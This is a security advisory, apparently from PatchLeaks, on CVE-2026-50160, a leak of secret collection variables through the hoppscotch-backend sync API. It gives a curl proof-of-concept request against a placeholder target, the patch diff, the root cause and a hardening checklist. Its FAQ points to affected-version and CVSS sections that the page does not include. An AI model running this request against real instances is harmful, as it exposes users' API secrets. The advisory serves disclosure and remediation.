SECURITY ADVISORY / 01

CVE-2026-50160 Exploit & Vulnerability Analysis

Complete CVE-2026-50160 security advisory with proof of concept (PoC), exploit details, and patch analysis for hoppscotch-backend.

hoppscotch-backend products NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

Attacker needs a valid Hoppscotch self-hosted session with access to the collection sync API.

curl -i -X POST "https://TARGET/graphql" \
  -H "Content-Type: application/json" \
  -H "Cookie: session=YOUR_SESSION_COOKIE" \
  -d '{
    "query":"mutation SyncCollection($collection: CollectionSyncInput!) { syncCollection(collection: $collection) { id name auth headers variables { key currentValue secret } } }",
    "variables":{
      "collection":{
        "name":"leaky-collection",
        "auth":{"type":"bearer","token":"ignored"},
        "headers":[],
        "variables":[
          {"key":"API_KEY","currentValue":"secret123","secret":true}
        ]
      }
    }
  }'

The response returns the synced collection payload including variables[0].currentValue: "secret123" even though that variable is marked secret: true. This proves secret values are transmitted in cleartext through the collection sync path.

What the Patch Did

Before:

import { getSyncInitFunction, type StoreSyncDefinitionOf } from "@app/lib/sync"
...
    headers: collection.headers ?? [],
    variables: collection.variables ?? [],
...
      headers: collection.headers ?? [],
      variables: collection.variables ?? [],
...
      headers: collection.headers ?? [],
      variables: collection.variables ?? [],
...
     const data = {
       auth: collection.auth,
       headers: collection.headers,
       variables: collection.variables,
...
     const data = {
       auth: folder.auth,
       headers: folder.headers,
       variables: folder.variables,
...

After:

import { stripSecretVariableValuesForWire } from "@hoppscotch/common/helpers/secretVariables"
import { getSyncInitFunction, type StoreSyncDefinitionOf } from "@app/lib/sync"
...
    headers: collection.headers ?? [],
    variables: stripSecretVariableValuesForWire(collection.variables ?? []),
...
      headers: collection.headers ?? [],
      variables: stripSecretVariableValuesForWire(collection.variables ?? []),
...
      headers: collection.headers ?? [],
      variables: stripSecretVariableValuesForWire(collection.variables ?? []),
...
     const data = {
       auth: collection.auth,
       headers: collection.headers,
       variables: stripSecretVariableValuesForWire(collection.variables ?? []),
...
     const data = {
       auth: folder.auth,
       headers: folder.headers,
       variables: stripSecretVariableValuesForWire(folder.variables ?? []),
...

The patch inserted a redaction step before any collection or folder variables array is sent over the wire. It changes the export/sync payload from raw collection.variables to a sanitized form that removes secret values.

Root Cause

This is a sensitive data exposure bug (CWE-200). In gqlCollections.sync.ts, the sync logic took collection.variables and folder.variables directly from stored collection/folder state and embedded them in the outbound sync payload. Those arrays were transmitted across the client-to-sync-server trust boundary without stripping secret values from currentValue, so secret variables marked secret: true leaked in the sync data.

Why It Works

The single load-bearing line is the redaction call:

variables: stripSecretVariableValuesForWire(collection.variables ?? []),

Without that line, the sync payload would still include the raw collection.variables array and the bug would still be exploitable. The repeated fixes for every collection/folder sync path are there because the same unsafe serialization appeared in multiple payload constructors; if any one path were left unchanged, secrets could still leak through that channel.

Hardening Checklist

  • Sanitize secret variable arrays before exporting or syncing them, e.g. with a helper like stripSecretVariableValuesForWire().
  • Do not expose currentValue for items where secret: true in GraphQL/REST responses.
  • Preserve secret semantics on imports by normalizing values such as variable.type === "secret" || variable.secret === true.
  • Add regression tests for collection sync serialization so secret variables are verified redacted on every wire-bound payload.
  • Audit every path that serializes collection.variables or folder.variables for network transmission, not just UI rendering code.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2026-50160

Frequently asked questions about CVE-2026-50160

What is CVE-2026-50160?

CVE-2026-50160 is a security vulnerability identified in hoppscotch-backend. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2026-50160?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2026-50160. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2026-50160 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology affecting hoppscotch-backend. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2026-50160?

CVE-2026-50160 affects hoppscotch-backend. Check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2026-50160?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls for hoppscotch-backend.

What is the CVSS score for CVE-2026-50160?

The severity rating and CVSS scoring for CVE-2026-50160 affecting hoppscotch-backend is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.